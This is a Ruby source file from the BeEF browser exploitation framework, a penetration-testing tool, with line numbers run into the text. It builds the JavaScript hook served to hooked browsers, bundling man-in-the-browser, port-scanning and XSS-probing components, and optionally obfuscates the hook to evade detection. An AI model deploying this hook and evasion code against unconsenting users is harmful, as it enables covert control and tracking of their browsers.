Path: blob/master/core/main/handlers/modules/beefjs.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5module BeEF6module Core7module Handlers8module Modules9# @note Purpose: avoid rewriting several times the same code.10module BeEFJS11# Builds the default beefjs library (all default components of the library).12# @param [Object] req_host The request object13def build_beefjs!(req_host)14config = BeEF::Core::Configuration.instance15# @note set up values required to construct beefjs16beef_js = ''17# @note location of sub files18beef_js_path = "#{$root_dir}/core/main/client/"1920# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated21ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js lib/bowser-2.11.0.min.js]2223# @note BeEF libraries: need Eruby evaluation and obfuscation24beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js25encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js]26# @note Load websocket library only if WS server is enabled in config.yaml27beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true28# @note Load webrtc library only if WebRTC extension is enabled29if config.get('beef.extension.webrtc.enable') == true30beef_js_sub_files << 'lib/webrtcadapter.js'31beef_js_sub_files << 'webrtc.js'32end3334# @note antisnatchor: leave timeout.js as the last one!35beef_js_sub_files << 'timeout.js'3637ext_js_to_obfuscate = ''38ext_js_to_not_obfuscate = ''3940# @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate41# @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate42ext_js_sub_files.each do |ext_js_sub_file|43if config.get('beef.extension.evasion.enable')44if config.get('beef.extension.evasion.exclude_core_js').include?(ext_js_sub_file)45print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list"46# do not obfuscate the file47ext_js_sub_file_path = beef_js_path + ext_js_sub_file48ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")49else50ext_js_sub_file_path = beef_js_path + ext_js_sub_file51ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")52end53else54# Evasion is not enabled, do not obfuscate anything55ext_js_sub_file_path = beef_js_path + ext_js_sub_file56ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")57end58end5960# @note construct the beef_js string from file(s)61beef_js_sub_files.each do |beef_js_sub_file|62beef_js_sub_file_path = beef_js_path + beef_js_sub_file63beef_js << (File.read(beef_js_sub_file_path) + "\n\n")64end6566# @note create the config for the hooked browser session67hook_session_config = BeEF::Core::Server.instance.to_h6869# @note if http_host="0.0.0.0" in config ini, use the host requested by client70if !hook_session_config['beef_public'].nil? && (hook_session_config['beef_host'] != hook_session_config['beef_public'])71hook_session_config['beef_host'] = hook_session_config['beef_public']72hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])73end74if hook_session_config['beef_host'].eql? '0.0.0.0'75hook_session_config['beef_host'] = req_host76hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)77end7879# @note set the XHR-polling timeout80hook_session_config['xhr_poll_timeout'] = config.get('beef.http.xhr_poll_timeout')8182# @note set the hook file path and BeEF's cookie name83hook_session_config['hook_file'] = config.get('beef.http.hook_file')84hook_session_config['hook_session_name'] = config.get('beef.http.hook_session_name')8586# @note if http_port <> public_port in config ini, use the public_port87if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port'])88hook_session_config['beef_port'] = hook_session_config['beef_public_port']89hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])90hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443'91end9293# @note Set some WebSocket properties94if config.get('beef.http.websocket.enable')95hook_session_config['websocket_secure'] = config.get('beef.http.websocket.secure')96hook_session_config['websocket_port'] = config.get('beef.http.websocket.port')97hook_session_config['ws_poll_timeout'] = config.get('beef.http.websocket.ws_poll_timeout')98hook_session_config['ws_connect_timeout'] = config.get('beef.http.websocket.ws_connect_timeout')99hook_session_config['websocket_sec_port'] = config.get('beef.http.websocket.secure_port')100end101102# @note populate place holders in the beef_js string and set the response body103eruby = Erubis::FastEruby.new(beef_js)104@hook = eruby.evaluate(hook_session_config)105106if config.get('beef.extension.evasion.enable')107evasion = BeEF::Extension::Evasion::Evasion.instance108@final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)109else110@final_hook = ext_js_to_not_obfuscate + @hook111end112113# @note Return the final hook to be sent to the browser114@body << @final_hook115end116117# Finds the path to js components118# @param [String] component Name of component119# @return [String|Boolean] Returns false if path was not found, otherwise returns component path120def find_beefjs_component_path(component)121component_path = component122component_path.gsub!(/beef./, '')123component_path.gsub!(/\./, '/')124component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"125126return false unless File.exist? component_path127128component_path129end130131# Builds missing beefjs components.132# @param [Array] beefjs_components An array of component names133def build_missing_beefjs_components(beefjs_components)134# @note verifies that @beef_js_cmps is not nil to avoid bugs135@beef_js_cmps = '' if @beef_js_cmps.nil?136137if beefjs_components.is_a? String138beefjs_components_path = find_beefjs_component_path(beefjs_components)139raise 'Invalid component: could not build the beefjs file' unless beefjs_components_path140141beefjs_components = { beefjs_components => beefjs_components_path }142end143144beefjs_components.keys.each do |k|145next if @beef_js_cmps.include? beefjs_components[k]146147# @note path to the component148component_path = beefjs_components[k]149150# @note we output the component to the hooked browser151config = BeEF::Core::Configuration.instance152if config.get('beef.extension.evasion.enable')153evasion = BeEF::Extension::Evasion::Evasion.instance154@body << evasion.obfuscate(File.read(component_path) + "\n\n")155else156@body << (File.read(component_path) + "\n\n")157end158159# @note finally we add the component to the list of components already generated so it does not get generated numerous times.160if @beef_js_cmps.eql? ''161@beef_js_cmps = component_path162else163@beef_js_cmps += ",#{component_path}"164end165end166end167end168end169end170end171end172173174